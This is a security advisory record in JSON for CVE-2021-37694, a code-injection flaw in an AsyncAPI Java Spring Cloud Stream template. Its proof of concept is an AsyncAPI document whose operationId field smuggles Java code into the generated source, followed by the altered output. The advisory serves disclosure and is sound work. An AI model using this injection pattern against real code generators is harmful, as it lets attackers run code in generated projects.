{"id":"GHSA-xj6r-2jpm-qvxp","summary":"Code injection issue for java-spring-cloud-stream-template","details":"The following was initially reported by @jonaslagoni:\n\nGiven the following command:\n`ag ./dummy.json @asyncapi/java-spring-cloud-stream-template --force-write --output ./output`\n\nWith the following AsyncAPI document:\n```json\n{\n  \"asyncapi\": \"2.0.0\",\n  \"info\": {\n    \"title\": \"Streetlight\",\n    \"version\": \"1.0.0\"\n  },\n  \"defaultContentType\": \"json\",\n  \"channels\": {\n    \"security/audit/channel\": {\n      \"description\": \"Channel for the turn on command which should turn on the streetlight\",\n      \"parameters\": {\n        \"streetlight_id\": {\n          \"description\": \"The ID of the streetlight\",\n          \"schema\": {\n            \"type\": \"string\"\n          }\n        }\n      },\n      \"publish\": {\n        \"operationId\": \"test() { System.out.println(\\\"injected\\\"); return test(0); }\\n public Consumer\u003cCustomClass\u003e someothername\",\n        \"message\": {\n          \"name\": \"TurnonCommand\",\n          \"payload\": {\n            \"$ref\": \"#/components/schemas/CustomClass\"\n          }\n        }\n      }\n    }\n  },\n  \"components\": {\n    \"schemas\" : {\n      \"CustomClass\": {\n        \"type\": \"object\",\n        \"properties\": {\n          \"prop\": { \n              \"type\": \"string\"\n          }\n        }\n      }\n    }\n  }\n}\n```\n\nWhich changes the following output: \n\n```java\n...\n  @Bean\n  public Consumer\u003cCustomClass\u003e test() {\n    // Add business logic here.\n    return null;\n  }\n...\n```\nTo\n```java\n...\n  @Bean\n  public Consumer\u003cCustomClass\u003e test() { System.out.println(\"injected\"); return someothername(); }\n  public Consumer\u003cCustomClass\u003e someothername() {\n    // Add business logic here.\n    return null;\n  }\n...\n```","aliases":["CVE-2021-37694"],"modified":"2026-07-08T06:28:21.063784895Z","published":"2021-08-25T14:45:52Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2021-08-24T18:50:59Z","nvd_published_at":"2021-08-11T18:15:00Z","cwe_ids":["CWE-94"],"severity":"HIGH"},"references":[{"type":"WEB","url":"https://github.com/asyncapi/java-spring-cloud-stream-template/security/advisories/GHSA-xj6r-2jpm-qvxp"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-37694"},{"type":"PACKAGE","url":"https://github.com/asyncapi/java-spring-cloud-stream-template"}],"affected":[{"package":{"name":"@asyncapi/java-spring-cloud-stream-template","ecosystem":"npm","purl":"pkg:npm/%40asyncapi/java-spring-cloud-stream-template"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.7.0"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 0.6.9","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/08/GHSA-xj6r-2jpm-qvxp/GHSA-xj6r-2jpm-qvxp.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N"}]}